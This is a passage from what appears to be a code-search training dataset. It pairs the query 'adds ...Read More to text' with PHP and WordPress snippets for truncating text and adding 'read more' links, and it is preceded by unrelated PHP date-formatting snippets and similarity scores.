= str_replace ( \"__yy__\", $yy, $ret );\n\t$ret = str_replace ( \"__month__\", $month, $ret );\n\t$ret = str_replace ( \"__mon__\", $month, $ret );\n\t$ret = str_replace ( \"__dd__\", $d, $ret );\n\t$ret = str_replace ( \"__mm__\", $m, $ret );\n\n\tif ( $show_weekday )\n\treturn \"$weekday, $ret\";\n\telse\n\treturn $ret;\n}", "public function getDateFormatter();", "function to_date($datetime)\n {\n return date('Y-m-d', strtotime($datetime));\n }", "public function __toString()\n {\n return $this->format(\"Y-m-d H:i:s\");\n }", "function printtime($datetime) {\n\tif ( ! $datetime ) return '';\n\treturn htmlspecialchars(substr($datetime,11,5));\n}", "function _elastic_email_format_date($date_field) {\n $data = sprintf('%d/%d/%d', $date_field['month'], $date_field['day'], $date_field['year']);\n $time = sprintf('%s:%s %s', $date_field['hour'], $date_field['minute'], $date_field['ampm']);\n\n return $data . ' ' . $time;\n}", "function convert_date( $uglydate ){\n\t$date = new DateTime( $uglydate );\n\treturn $nicedate = $date->format('F j, Y');\n}", "function util_datetime()\n{\n\t\treturn date(\"Y-m-d H:i:s\");\n}", "private function getPublishedDate(): string\n {\n if ($this->context->get('is_term')) {\n return '';\n }\n\n if (!$this->context->get('date')) {\n return '';\n }\n\n return $this->formatIso8601($this->augmented($this->context->get('date')), false);\n }", "function dateFormat($date){\n return strftime(\"%d. %m. %Y\", strtotime($date));\n}", "public function toDateTimeString()\n {\n return $this->toLocalizedString('yyyy-MM-dd HH:mm:ss');\n }", "function generateDate( $value )\r\n\t{\r\n\t\treturn( strftime( \"%Y-%m-%d\", $value ) );\r\n\t}", "function format_date($date) {\n return substr($date, 8, 2) . '/' . substr($date, 5, 2) . '/' . substr($date, 0, 4);\n }", "public function datetime_to_date($datetime) {\r\n\t\t\r\n\t}", "function vads_trans_date() {\n $date = date('YmdHis');\n return $date;\n }", "public function dateFormat();", "public function date(): string\n {\n [$sec, $msec] = explode('.', sprintf('%.3F', $_SERVER[\"REQUEST_TIME_FLOAT\"]));\n return date('Y-m-d H:i:s.', $sec) .$msec .' ';\n }", "function getFormattedCreatedDateExtended()\r\n {\r\n return $this->created_at->format('d').\" de \".$this->getMes_ptBR((int) $this->created_at->format('m') ).\" de \".$this->created_at->format('Y') ;\r\n }", "function human_readable_datetime($date, $format)\n{\n return date_format($date, $format);\n}", "public static function short($date){\n if (empty($date)) return;\n $php_date = strtotime($date);\n $formatted_date = date('M. j, Y (D)', $php_date);\n return $formatted_date;\n }", "public function toFormattedDateString()\n {\n return $this->toLocalizedString('MMM d, yyyy');\n }", "function beauty_date($datetime)\n{\n\t\n\t$year = substr($datetime,0,4);\n\t$month = substr($datetime,5,2);\n\t$day = substr($datetime,8,2);\n\t\n\t$hour = substr($datetime,11,2);\n\t$minute = substr($datetime,14,2);\n\t\n\t$beauty = \"$day.$month.$year - $hour:$minute\";\n\t\n\treturn $beauty;\n\n}", "function dateFormatView($date)\n{\n $date_formated = '---';\n if($date!='0000-00-00' and $date!='')\n {\n $date_formated = date('m/d/Y',strtotime($date)); \n }\n return $date_formated; \n}", "function my_date($date)\n {\n // Create DateTime object\n $t = new DateTime($date, new DateTimeZone('UTC'));\n\n // Get user's timezone\n /** @todo Complete getting user's timezone */\n $timezone = 'Asia/Tokyo';\n\n // Return date\n $t->setTimeZone(new DateTimeZone($timezone));\n return $t->format(__('Y-m-d H:i:s'));\n }", "public function getDateString(){\n $date = Carbon::parse($this->created_at);\n $date->timezone = 'America/Montreal';\n return $date->format('d/m/Y');\n //return $date->format('m/d/Y');\n }", "static public function formatDate($date)\n {\n $objDate = new DateTime($date);\n return $objDate->format('d/m/Y');\n }", "public function formatDate($value)\n\t{\n\t\treturn $value;\n\t}", "protected function _formatDate($date_obj) {\n if (is_string($date_obj)) {\n $date_obj = DateTime::createFromFormat('Y-m-d H:i:s', $date_obj);\n }\n return $date_obj->format('d/m/Y');\n }", "function genDate() {\n\n\t\t$month = strftime(\"%m\");\n\n\t\t$day = strftime(\"%d\");\n\t\t\t\n\t\t$year = strftime(\"%Y\");\n\n\t\t$currentDate = $year . $month . $day;\n\t\t$currentDate = (integer) $currentDate;\n\n\t\treturn $currentDate;\n\t}", "function DateIntToStr ($i) {\n\tGlobal $iTimeType;\n\tif ($iTimeType == 1) return date('Y-m-d H:i:s',$i);\n\t\n\t$n = $i % 100;\n\t$i = (int)($i / 100);\n\t$h = $i % 100;\n\t$i = (int)($i / 100);\n\t$d = $i % 50;\n\t$i = (int)($i / 50);\n\t$m = ($i % 20) -1;\n\t$i = (int)($i / 20);\n\t$y = ($i % 1000) + 2000;\n\treturn sprintf (\"%04d-%02d-%02d %02d:%02d\", $y,$m,$d,$h,$n);\n}", "function make_date(){\n return strftime(\"%Y-%m-%d %H:%M:%S\", time());\n}", "public function __toString()\n\t{\n\t\treturn $this->get(IL_CAL_DATETIME).'<br>';\n\t}", "protected function serializeDate(DateTimeInterface $date): string\n {\n return $date->format('d.m.Y');\n }", "function get_sql_date()\n {\n $year=$this->get_year();\n $month=$this->get_month();\n if (strlen($month)<2)\n {\n $month=\"0\".$month;\n }\n\n $day=$this->get_day();\n\n if (strlen($day)<2)\n {\n $day=\"0\".$day;\n }\n return $year.\"-\".$month.\"-\".$day.\" 00:00:00\";\n }", "function pzdc_answer_created_at($echo = TRUE, $format = NULL) {\n global $PraizedCommunity;\n $out = $PraizedCommunity->tpt_attribute_helper('answer', 'created_at', FALSE);\n if ( strstr($format, '%'))\n $out = pzdc_date($out, $format);\n if ( $echo )\n echo $out;\n return $out;\n}", "function uiToDBdate() {\r\n\r\n\t\t$month = (int) substr($this->date, -10, 2);\r\n\t\t$day = (int) substr($this->date, -7, 2);\r\n\t\t$year = (int) substr($this->date, -4, 4);\r\n\r\n\t\t$formattedDate = $year . \"-\" . $month . \"-\" . $day;\r\n\r\n\t\t$this->date = $formattedDate;\r\n\t}", "function show_date_time($date_time=null,$type){\t\t\n\t\treturn date($type,strtotime(str_replace(\"-\",\"/\",$date_time)));\n\t}", "public function getFormatedDateAttribute() {\n return date('d.m.Y', strtotime($this->date));\n }", "function format_date($d) {\r\n\t$month = array(\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\"December\");\r\n\t$date = explode(\"-\",$d);\r\n\tif(($date[1]-1) != 10) $index = str_replace(\"0\",\"\",$date[1]-1);\r\n\telse $index = $date[1]-1;\r\n\treturn $date[2].\" \".$month[$index].\" \".$date[0];\r\n}", "public function date($date=null)\n {\n if(is_null($date)) { \t\n\t\t\t$date = $this->publication; \n }\n\n return $date;\n //date_format($date, 'g:ia \\o\\n l jS F Y');;\n }", "public function date()\n {\n\n $date = date(\"Y-m-d\");\n\n $date = strtotime($date . \"-30 days\");\n\n $date = date('Y-m-d', $date);\n\n return $date;\n }", "function make_date(){\n date_default_timezone_set(\"America/Mexico_City\");\n return strftime(\"%Y-%m-%d %H:%M:%S\", time());\n}", "public function dateStartFriendly(): string\n {\n return Carbon::parse($this->date_start)->format('d-m-Y');\n }", "private function dateDuJour(){\n return date(\"Y-m-d\");\n }", "function sc_us_date_format($date){\n\treturn date('m/d/Y', $date);\n}", "function formatDate($date){\n\tif(validateDate($date)){\n\t\t$year = substr($date,0,4);\n\t\t$month = substr($date,4,2);\n\t\t$day = substr($date,6,2);\n\t\treturn $year.C('STR_YEAR').$month.C('STR_MONTH').$day.C('STR_DAY');\n\t}\n\telse\n\t\treturn C('STR_FORMAT_DATE_FAIL');\n}", "public function formatedBookingDate()\n {\n $timezone = app('UtillRepo')->getTimezone($this->user->timezone);\n $date = \\Carbon\\Carbon::createFromFormat('Y-m-d H:i:s', $this->created_at)->timezone($timezone); \n return $date->format('D d-M-Y').' at '. $date->format(' h:i A');\n }", "protected function serializeDate(DateTimeInterface $date)\n {\n return $date->format('d-m-Y - H:i:s');\n }", "function datum_nu2() {\n //\n\t\t\t$datestring \t\t\t\t= \"%Y-%m-%d\" ; \n\t\t\t$time \t\t\t\t\t\t= time();\t\t\t\n\t\t\treturn mdate($datestring, $time);\n\t}", "public function formatDateTime($datetime = null);", "function dbToUIdate() {\r\n\t\t\r\n\t\t$year = substr($this->event_date_time, -19, 4);\r\n\t\t$month = substr($this->event_date_time, -14, 2);\r\n\t\t$day = substr($this->event_date_time, -11, 2);\r\n\r\n\t\t$this->date = $month . \"/\" . $day . \"/\" . $year;\r\n\t\r\n\t}", "public function getDateDebut();", "public function getDate()\n\t\t{\n\t\t\t$date = new \\DateTime($this->created_at);\n\t\t\treturn $date->format('jS M Y');\n\t\t}", "private function formatDate($date)\n\t{\n\t\t$date_ary = date_parse($date);\n\t\treturn $date_ary['year'] . '-'\n\t\t\t\t. str_pad($date_ary['month'], 2, \"0\", STR_PAD_LEFT). '-'\n\t\t\t\t. str_pad($date_ary['day'], 2, \"0\", STR_PAD_LEFT) . 'T'\n\t\t\t\t. str_pad($date_ary['hour'], 2, \"0\", STR_PAD_LEFT) . ':'\n\t\t\t\t. str_pad($date_ary['minute'], 2, \"0\", STR_PAD_LEFT) . ':'\n\t\t\t\t. str_pad($date_ary['second'], 2, \"0\", STR_PAD_LEFT);\n\t}", "function format_datetime($value) {\n\t$value = (int)$value;\n\tif($value > 0 )\n\t\treturn date($GLOBALS['i18']['formats']['date_time'],$value);\n\telse\n\t\treturn '';\n}" ]
[ "0.6413598", "0.6379587", "0.6351982", "0.63036615", "0.62481374", "0.62423605", "0.6174256", "0.61665565", "0.6166389", "0.6163752", "0.61400384", "0.6108513", "0.6104415", "0.6081926", "0.6073779", "0.6045417", "0.6040089", "0.6036532", "0.5990941", "0.59786135", "0.59477854", "0.59449524", "0.5932289", "0.5922549", "0.59190476", "0.59093946", "0.5902949", "0.5896209", "0.5890187", "0.58899534", "0.5889358", "0.58884037", "0.58842874", "0.58634", "0.5863116", "0.586162", "0.58486223", "0.5843637", "0.5839714", "0.5835501", "0.58087516", "0.5807856", "0.5807856", "0.58073044", "0.5799404", "0.5796405", "0.579306", "0.57878023", "0.5784132", "0.57627827", "0.57574236", "0.5746462", "0.57460696", "0.5722534", "0.5721623", "0.57207793", "0.5714897", "0.57142466", "0.5711396", "0.5702555", "0.57004505", "0.5682517", "0.5681795", "0.5680394", "0.56754696", "0.5674385", "0.567314", "0.5672302", "0.5669885", "0.56685275", "0.56671816", "0.56544966", "0.56391484", "0.5633828", "0.5632129", "0.5631396", "0.5627126", "0.5610337", "0.5606808", "0.56043583", "0.56007874", "0.55947757", "0.55903953", "0.55842626", "0.55818415", "0.5580666", "0.5570487", "0.5569399", "0.5566622", "0.5564617", "0.5558627", "0.55585164", "0.55542314", "0.55515987", "0.55507576", "0.5549217", "0.55486953", "0.5548356", "0.554165", "0.5541276" ]
0.5916299
25
adds ...Read More to text
function iu_read_more($s, $l, $e = '&hellip;', $isHTML = true) { $s = trim($s); $e = (strlen(strip_tags($s)) > $l) ? $e : ''; $i = 0; $tags = array(); if($isHTML) { preg_match_all('/<[^>]+>([^<]*)/', $s, $m, PREG_OFFSET_CAPTURE | PREG_SET_ORDER); foreach($m as $o) { if($o[0][1] - $i >= $l) { break; } $t = substr(strtok($o[0][0], " \t\n\r\0\x0B>"), 1); if($t[0] != '/') { $tags[] = $t; } elseif(end($tags) == substr($t, 1)) { array_pop($tags); } $i += $o[1][1] - $o[0][1]; } } $output = substr($s, 0, $l = min(strlen($s), $l + $i)) . (count($tags = array_reverse($tags)) ? '</' . implode('></', $tags) . '>' : '') . $e; return $output; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function quasar_get_read_more_text(){\n\t\n\t$return = '';\n\t\n\t$return .= __('Read More <i class=\"fa-angle-double-right\"></i>','quasar');\n\t\n\treturn $return;\t\n}", "function wpdocs_excerpt_more( $more ) {\n return sprintf( '<a class=\"read-more\" href=\"%1$s\">%2$s</a><br/>',\n get_permalink( get_the_ID() ),\n __( '<i class=\"fa fa-book\"></i> Read More...', 'textdomain' )\n );\n}", "function new_excerpt_more($more) {\n global $post;\n return ' [...] <a href=\"' . get_permalink($post->ID) . '\">' . __('Continue reading <span class=\"meta-nav\">&rarr;</span>', 'twentytwelve') . '</a>';\n }", "function mintshow_excerpt_more( $more ) {\n return sprintf( '<a class=\"ms-read-more\" href=\"%1$s\">%2$s <i class=\"fa fa-long-arrow-right\"></i></a>',\n get_permalink( get_the_ID() ),\n __( 'Read More', 'textdomain' )\n );\n}", "function linolakestheme_excerpt_more( $more ) {\n return sprintf( '<a class=\"read-more\" href=\"%1$s\">%2$s</a>',\n get_permalink( get_the_ID() ),\n __( ' Read more', 'textdomain' )\n );\n}", "function custom_excerpt_more($more) {\n\t\treturn 'Read More &raquo;';\n\t}", "function new_excerpt_more( $more ) {\n\treturn '... <a class=\"read-more\" href=\"'. get_permalink( get_the_ID() ) . '\">' . __('Read More', 'your-text-domain') . '</a>';\n}", "function wpdocs_excerpt_more( $more ) {\n return sprintf( '<a class=\"read-more\" href=\"%1$s\">%2$s</a>',\n get_permalink( get_the_ID() ),\n __( '...', 'textdomain' )\n );\n}", "function wpdocs_excerpt_more( $more ) {\n return sprintf( '<a class=\"understrap-read-more-link goodswave-read-more\" href=\"%1$s\">%2$s</a>',\n get_permalink( get_the_ID() ),\n __( 'Read More', 'textdomain' )\n );\n}", "function mithpress_auto_excerpt_more( $more ) {\n\treturn ' . . . ' . mithpress_continue_reading_link();\n}", "function new_excerpt_more($more) {\n global $post, $wpak_options;\n\n\treturn '<p class=\"readmore\"><a title=\"' . $wpak_options['linkto'] . $post->post_title.'\" href=\"'. get_permalink($post->ID) . '\">' . $wpak_options['readmore'] . '</a></p>';\n}", "function labs_auto_excerpt_more( $more ) {\n\treturn ' &hellip;' . labs_continue_reading_link();\n}", "function more_link( $link, $text ) {\n\treturn ( __( '(more&hellip;)' ) !== $text ) ? $link : str_replace( $text, __( 'Continue Reading', 'wpdh' ), $link );\n}", "function nightsky_excerpt_more( $more ) {\n global $post;\n return ' <p class=\"readmore\"><a href=\"' . get_permalink( $post->ID ) . '\">Continue reading ' . $post->post_title . '</a></p>';\n}", "public static function excerpt_read_more( $more ) {\n global $post;\n // Defining the $output (read more link)\n $output = '...<br><p><a class=\"read-more more-link\" href=\"'. get_permalink( $post->ID ) . '\"> Read More</a></p>';\n // Returning the $output\n return $output;\n }", "function new_excerpt_more( $more ) {\n\tglobal $post;\n\treturn '... <div class=\"button small text-center\"><a href=\"'. get_permalink($post->ID) . '\">Continue Reading</a></div>';\n}", "function new_excerpt_more( $more ) {\n\treturn '... <a class=\"read-more\" href=\"'. get_permalink( get_the_ID() ) . '\">Continue Reading...</a>';\n}", "function new_excerpt_more( $more ) {\n return '&hellip; <span class=\"read-more\"><a href=\"'.get_permalink().'\" rel=\"bookmark\">continue reading</a></span>';\n}", "function uwmadison_auto_excerpt_more( $more ) {\n\t\treturn ' &hellip;' . uwmadison_continue_reading_link();\n\t}", "function echotheme_auto_content_more($more) {\n\treturn echotheme_continue_reading_link();\n}", "function new_excerpt_more( $more ) {\r\n\treturn ' <a class=\"read-more\" href=\"'. get_permalink( get_the_ID() ) . '\">Continue Reading &#8594;</a>';\r\n}", "function new_excerpt_more( $more ) {\n\treturn '...<br/>'.'<a href=\"'. get_permalink( get_the_ID() ) . '\" class=\"more\">Read More</a>';\n}", "function codium_extend_excerpt_more($more) {\n global $post;\n $readmore = __('Czytaj wiecej', 'codium_extend' );\n return '';\n}", "function codium_extend_excerpt_more($more) {\n global $post;\n $readmore = __('Czytaj wiecej', 'codium_extend' );\n return '';\n}", "function new_excerpt_more( $more ) {\n return ' <a class=\"read-more\" href=\"' . get_permalink( get_the_ID() ) . '\">' . __( 'Read More...', 'your-text-domain' ) . '</a>';\n}", "function new_excerpt_more($more) {\n\n\tglobal $post;\n\n\treturn '...&nbsp; <a class=\"moretag\" href=\"'. get_permalink($post->ID) . '\"><br/>read&nbsp;more</a>';\n\n}", "function darksnow_auto_excerpt_more( $more ) {\n\treturn ' &hellip;' . darksnow_continue_reading_link();\n}", "function new_excerpt_more($more) {\n global $post;\n\treturn '<div class=\"readmore\"><a class=\"moretag\" href=\"'. get_permalink($post->ID) . '\"> Read More <i class=\"fa fa-long-arrow-right\" aria-hidden=\"true\"></i></a></div>';\n}", "function read_more($string){\n\t$string = strip_tags($string);\n\n\tif (strlen($string) > 200) {\n\t $stringCut = substr($string, 0, 200);\n\t\t$string = substr($stringCut, 0, strrpos($stringCut, ' ')).'... \n\t\t<a href=\"'.get_permalink().'\" title=\"'.get_the_title().'\">\n\t\tRead More\n\t\t</a>'; \n\t}\n\treturn $string;\n}", "function twentyten_auto_excerpt_more( $more ) {\n\tif ( ! is_admin() ) {\n\t\treturn ' &hellip;' . twentyten_continue_reading_link();\n\t}\n\treturn $more;\n}", "function rls_read_more_button($more) {\n global $post;\n return '<div class=\"center-align read-more\"><a class=\" gray view-article button\" href=\"'.get_permalink($post->ID).'\">'\n .__('Read More', 'rls')\n .'</a></div>';\n}", "function new_excerpt_more($more) {\n global $post;\n\treturn ' <a href=\"'. get_permalink($post->ID) . '\"><em>(Continue Reading...)</em></a>';\n}", "function wpdocs_excerpt_more( $more ) {\n return ' <a href=\"' . get_the_permalink() . '\" rel=\"nofollow\">[Read More...]</a>';\n}", "function new_excerpt_more( $more ) {\n\treturn '[...]<div class=\"read-more\"><a href=\"'. get_permalink( get_the_ID() ) . '\">Lire la suite</a></div>';\n}", "function DF_read_more($matches) {\r\n\treturn '<p>'.$matches[1].'</p><p><a '.$matches[3].' class=\"more-link\"><i class=\"icon-double-angle-right\"></i>'.$matches[4].'</a></p> ';\r\n}", "function echotheme_auto_excerpt_more($more) {\n\treturn '&hellip; <br />' . echotheme_continue_reading_link();\n}", "function new_excerpt_more($more) {\n\tglobal $post;\n\treturn '&hellip; </br> <a class=\"moretag\" href=\"'. get_permalink($post->ID) . '\">Read more</a>';\n}", "function swbtheme_excerpt_more($more) {\n global $post;\n\treturn '<a class=\"moretag\" href=\"'. get_permalink($post->ID) . '\"> Read the full article...</a>';\n}", "function voyage_mikado_modify_read_more_link() {\n $link = '<div class=\"mkdf-more-link-container\">';\n $link .= voyage_mikado_get_button_html(array(\n 'link' => get_permalink().'#more-'.get_the_ID(),\n 'text' => esc_html__('Continue reading', 'voyage'),\n 'size' => 'small'\n ));\n\n $link .= '</div>';\n\n return $link;\n }", "function medigroup_mikado_modify_read_more_link() {\n $link = '<div class=\"mkd-more-link-container\">';\n $link .= medigroup_mikado_get_button_html(array(\n 'link' => get_permalink().'#more-'.get_the_ID(),\n 'text' => esc_html__('Continue reading', 'medigroup'),\n 'size' => 'small'\n ));\n\n $link .= '</div>';\n\n return $link;\n }", "function tac_new_excerpt_more( $more ) {\n\treturn '...';\n}", "function new_excerpt_more($more) {\n global $post;\n\treturn '... (<a class=\"moretag\" href=\"'. get_permalink($post->ID) . '\">Read more</a>)';\n}", "function new_excerpt_more( $more ) {\n\treturn ' <a class=\"read-more\" href=\"' . get_permalink( get_the_ID() ) . '\">قراءة المزيد</a>';\n}", "function quasar_read_more($target='_self'){\n\tglobal $post;\n\n\tif(!$post || (!$post->ID)) return;\n\t\n\t$return = ' <a href=\"'.get_permalink().'\" target=\"'.$target.'\">'.__('read more','quasar').' <i class=\"fa-angle-double-right\"></i></a>';\n\t\n\treturn $return;\n}", "function new_excerpt_more($more) {\n global $post;\n\treturn '<p><a class=\"moretag\" href=\"'. get_permalink($post->ID) . '\"> Read More</a></p>';\n}", "function new_excerpt_more($more) {\n\tglobal $post;\n\treturn '<a class=\"moretag\" href=\"'. get_permalink($post->ID) . '\"> Leia o artigo completo...</a>';\n}", "function generate_excerpt_more($more)\n {\n return apply_filters('generate_excerpt_more_output', sprintf(' ... <a title=\"%1$s\" class=\"read-more text-primary\" href=\"%2$s\">%3$s %4$s</a>',\n the_title_attribute('echo=0'),\n esc_url(get_permalink(get_the_ID())),\n __('Read more', 'generatepress'),\n '<span class=\"screen-reader-text\">' . get_the_title() . '</span>'\n ));\n }", "function my_excerpt_more( $more ) {\n\treturn ' &hellip; <a href=\"'. get_permalink() .'\">Continue reading &ldquo;'. get_the_title() .'&rdquo; &rarr;</a>';\n}", "function new_excerpt_more($more) {\n global $post;\n // return '<a class=\"read_more\" href=\"'. get_permalink($post->ID) . '\">'.__('Read More','textdomain').'</a>';\n return '';\n}", "function mila_custom_excerpt_more($more) {\n global $post;\n return '&nbsp;<div class=\"more-link\"><a href=\"'. get_permalink($post->ID) . '\">'. __('<i title=\"Läs mer\" class=\"fa fa-arrow-circle-right\"></i>', 'mila') .'</a></div>';\n }", "function dh_modify_read_more_link() {\r\n return '<a class=\"more-link\" href=\"' . get_permalink() . '\">Click to Read!</a>';\r\n}", "function voyage_mikado_excerpt_more($more) {\n return '...';\n }", "function new_excerpt_more($more) {\n global $post;\n return ' <a class=\"read_more\" href=\"' . get_permalink($post->ID) . '\">[...]</a>';\n}", "function clrfl_excerpt_more($more) {\n\tglobal $post;\n\treturn '<a class=\"moretag\" href=\"'. get_permalink($post->ID) . '\"> Read the full article...</a>';\n}", "function medigroup_mikado_excerpt_more($more) {\n return '...';\n }", "function wpfme_replace_excerpt($content) {\n return str_replace('[...]',\n '<a class=\"readmore\" href=\"'. get_permalink() .'\">Continue Reading</a>',\n $content\n );\n}", "function rw_auto_excerpt_more( )\n{\n return in_the_loop() ? '&hellip;' . rw_continue_reading_link() : '&hellip;';\n}", "function wp_embed_excerpt_more($more_string)\n {\n }", "function more_link() {\n\tglobal $post;\t\n\tif (strpos($post->post_content, '<!--more-->')) :\n\t\t$more_link = '<p><a href=\"'.get_permalink().'\" class=\"'.$size.'\" title=\"'.get_the_title().'\">';\n\t\t$more_link .= '<span>Read More...</span>';\n\t\t$more_link .= '</a></p>';\n\t\techo $more_link;\n\tendif;\n}", "function new_excerpt_more($more)\r\n{\r\n\tglobal $post;\r\n\treturn '<a class=\"moretag\" href=\"' . get_permalink($post->ID) . '\"> Read the full article...</a>';\r\n}", "function wpdocs_excerpt_more( $more ) {\n return ' ...';\n}", "function excerpt_read_more_link($output) {\r\n global $post;\r\n return $output . '<a class=\"more-link\" href=\"'. get_permalink($post->ID) . '\">'.__(\"Keep Reading\",TEXTDOMAIN ).'<span class=\"icon-arrow-right5\"></span></a>';\r\n}", "function more($text = \"\", $number= 0, $more=\" ...\"){\r\n\t$more = strip_tags($more);\r\n\r\n\t//Get the total of original word\r\n\t$org_total = strip_tags(strlen($text));\r\n\r\n\t//Find the position of the last word by looking for the last space\r\n\tif(strrpos(strip_tags($text),\" \",0))\r\n\t\t$f = strrpos(strip_tags($text),\" \",0);\r\n\telse $f = $org_total;\r\n\r\n\t//Extract to that space\r\n\t$desc = substr(strip_tags($text),0,$f);\r\n\r\n\t//Get the total of extracted word\r\n\t$ext_total = strip_tags(strlen($desc));\r\n\r\n\t//Check if the number of string you want is less that the number of string you got\r\n\tif ( (is_int($number) &&($number > 0))){\r\n\r\n\t\t//if the number of string you want is lesser, add a more text\r\n\t\tif (($ext_total > $number)){\r\n\t\t\t$desc = substr($desc,0, $number - strlen($more));\r\n\t\t\t$ff = strrpos(strip_tags($desc),\" \",0);\r\n\t\t\t$desc = substr(strip_tags($desc),0,$ff) . $more;\r\n\t\t}\r\n\t}\r\n\treturn $desc;\r\n\t}", "function new_excerpt_more($more) {\n global $post;\n\treturn '<a class=\"moretag\" href=\"'. get_permalink($post->ID) . '\"> read more...</a>';\n}", "function new_excerpt_more( $more ) {\n\treturn '...';\n}", "function modify_read_more_link() {\n return '<a class=\"more-link\" href=\"' . get_permalink() . '\">View list..</a>';\n}", "public function read_more( $html ) {\n\n\t\treturn preg_replace(\n\t\t\t'/<a(.*)>(.*)<\\/a>/iU',\n\t\t\tsprintf(\n\t\t\t\t'<div class=\"read-more-button-wrap\"><a$1><span class=\"faux-button\">$2</span> <span class=\"screen-reader-text\">\"%1$s\"</span></a></div>',\n\t\t\t\tget_the_title( get_the_ID() )\n\t\t\t),\n\t\t\t$html\n\t\t);\n\t}", "function new_excerpt_more($more) {\n global $post;\n\treturn ' <a class=\"moretag\" href=\"'. get_permalink($post->ID) . '\">[ more ]</a>';\n}", "function nh($text,$limit=0,$readMore=false)\n{\n\tif($limit && strlen($text)>$limit)\n\t{\n\t\tif(($pos=strpos($text,' ',$limit))!==false)\n\t\t\t$limit=$pos;\n\t\t$ltext=substr($text,0,$limit);\n\t\tif($readMore)\n\t\t{\n\t\t\t$rtext=substr($text,$limit);\n\t\t\treturn nl2br(htmlspecialchars($ltext,ENT_QUOTES,Yii::app()->charset))\n\t\t\t\t. l(t('read more').' >','#',array('class'=>'read-more'))\n\t\t\t\t. '<span class=\"read-more\" style=\"display:none;\">'\n\t\t\t\t. nl2br(htmlspecialchars($rtext,ENT_QUOTES,Yii::app()->charset))\n\t\t\t\t. '</span>';\n\t\t}\n\t\telse\n\t\t\treturn nl2br(htmlspecialchars($ltext.' ......',ENT_QUOTES,Yii::app()->charset));\n\t}\n\telse\n\t\treturn nl2br(htmlspecialchars($text,ENT_QUOTES,Yii::app()->charset));\n}", "function wfs_excerpt_more( $more ) {\n return '...';\n}", "function new_excerpt_more( $more ) {\n return '';\n}", "function new_excerpt_more($more) {\n\treturn '...';\n}", "function understrap_all_excerpts_get_more_link( $post_excerpt ) {\n\t\treturn $post_excerpt . ' [...]<p><a class = \"read-more-link\" href=\"' . esc_url( get_permalink( get_the_ID() )) . '\">Read Full Post</a></p>';\n\t}", "public function a11yExcerpt($more)\n {\n return sprintf(\n '&hellip; <a class=\"text-nowrap\" href=\"%s\">Continue reading<span class=\"sr-only\"> %s</span></a>',\n get_permalink(get_the_ID()),\n get_the_title()\n );\n }", "public function excerpt_more($more) {\n\t\treturn '...';\n\t}", "function home_read_more($content) {\r\n $content = preg_replace('#(<a(.*) class=\"more-link\">(.*)</a>)#U', '</p><a $2 class=\"more-link\"><span>$3</span></a>', $content);\r\n return $content;\r\n}", "public function get_readmore_element(){\n\n\t\tglobal $post; \n\n\t\t$html = '';\n\t\t\n\t\t//get default action and text to display (and allow filters)\n\t\t$upcoming_post_link_action = apply_filters('sc_upcoming_post_link_action', 'mailto:contact@mywebsite.com.au', $post);\n\t\t$upcoming_post_link_text = apply_filters('sc_upcoming_post_link_text', 'Get in contact and we will update you when this post is published!', $post);\n\n\t\t$html .= '<div class=\"readmore-link\">';\n\t\t$html .= '<a href=\"' . $upcoming_post_link_action .'\" title=\"' . $upcoming_post_link_text . '\">' . $upcoming_post_link_text . '</a>';\n\t\t$html .= '</div>';\n\t\t\n\t\treturn $html; \n\t}", "function custom_excerpt_more( $more ) {\r\n\t return '...';\r\n}", "function new_excerpt_more( $more ) {\n return ' ...';\n}", "function <%= functionPrefix %>_custom_post_more($more) {\n global $post;\n return '... <a class=\"article-more\" href=\"' . get_permalink($post->ID) . '\">' . __('Read More', '<%= projectName %>') . '</a>';\n}", "function readMoreWord($story_desc, $title='',$C_word='') {\n $chars = 90;\n if(!empty($C_word)){\n $chars =$C_word;\n }\n \n $count_word = strlen($story_desc);\n if($count_word>$chars){\n $readMore = '<a class=\"charaViewPopupModel\" data-title=\"'.$title.'\" data-word=\"'.$story_desc.'\" href=\"javascript:;\"> ....</a>';\n \t $story_desc = substr($story_desc,0,$chars); \n \t $story_desc = substr($story_desc,0,strrpos($story_desc,' ')); \n \t $story_desc = $story_desc.' '.$readMore; \n \t return $story_desc; \n \t \n }else{\n return $story_desc; \n }\n }", "function understrap_custom_excerpt_more( $more ) {\n\t\treturn '';\n\t}", "function ct_critic_update_yoast_og_description( $ogdesc ) {\n\t$read_more_text = get_theme_mod( 'read_more_text' );\n\tif ( empty( $read_more_text ) ) {\n\t\t$read_more_text = __( 'Continue reading', 'critic' );\n\t}\n\t$ogdesc = substr( $ogdesc, 0, strpos( $ogdesc, $read_more_text ) );\n\n\treturn $ogdesc;\n}", "function ppo_excerpt_more($more) {\n $link = sprintf('<a href=\"%1$s\" class=\"more-link\">%2$s</a>', esc_url(get_permalink(get_the_ID())),\n /* translators: %s: Name of current post */ \n sprintf(__('Xem thêm <span class=\"meta-nav\">&rarr;</span>', SHORT_NAME))\n );\n return ' &hellip; ' . $link;\n}", "function understrap_all_excerpts_get_more_link( $post_excerpt ) {\n\n\t\treturn $post_excerpt . '<br><a class=\"badge badge-primary\" href=\"' . esc_url( get_permalink( get_the_ID() )) . '\">' . __( 'Read More',\n\t\t'understrap' ) . ' <i class=\"fas fa-angle-double-right\"></i></a>';\n\t}", "function lightseek_read_more_link() {\n\treturn '<p><a class=\"btn btn-primary\" href=\"' . get_permalink() . '\">Read More</a></p>';\n}", "public static function excerpt_more( $more ) {\n\t\t\treturn '';\n\t\t}", "function custom_desktop_excerpt_more($more) {\n}", "function minorite_more_link($variables) {\n return '<p class=\"readmore\">' . l($variables['title'], $variables['url'], array('attributes' => array('title' => $variables['title']), 'query' => $variables['query'])) . '</p>';\n}", "function wprt_remove_read_more_link() {\n return '';\n}", "function modify_read_more_link() {\n $post_slug = get_post_field( 'post_name', get_post() );\n return '<a href=\"/'. $post_slug .'\" class=\"btn btn-info btn-sm mb-3\">Detail</a>';\n}", "function rw_custom_excerpt_more( $output )\n{\n if( has_excerpt() && !is_attachment() )\n {\n $output .= rw_continue_reading_link();\n }\n return $output;\n}", "function cmsmasters_post_more($cmsmasters_id, $show = true) {\n\t$cmsmasters_post_read_more = get_post_meta($cmsmasters_id, 'cmsmasters_post_read_more', true);\n\t\n\t\n\tif ($cmsmasters_post_read_more == '') {\n\t\t$cmsmasters_post_read_more = esc_html__('Read More', 'mall');\n\t}\n\t\n\t\n\t$out = '<a class=\"cmsmasters_post_read_more\" href=\"' . esc_url(get_permalink($cmsmasters_id)) . '\">' . 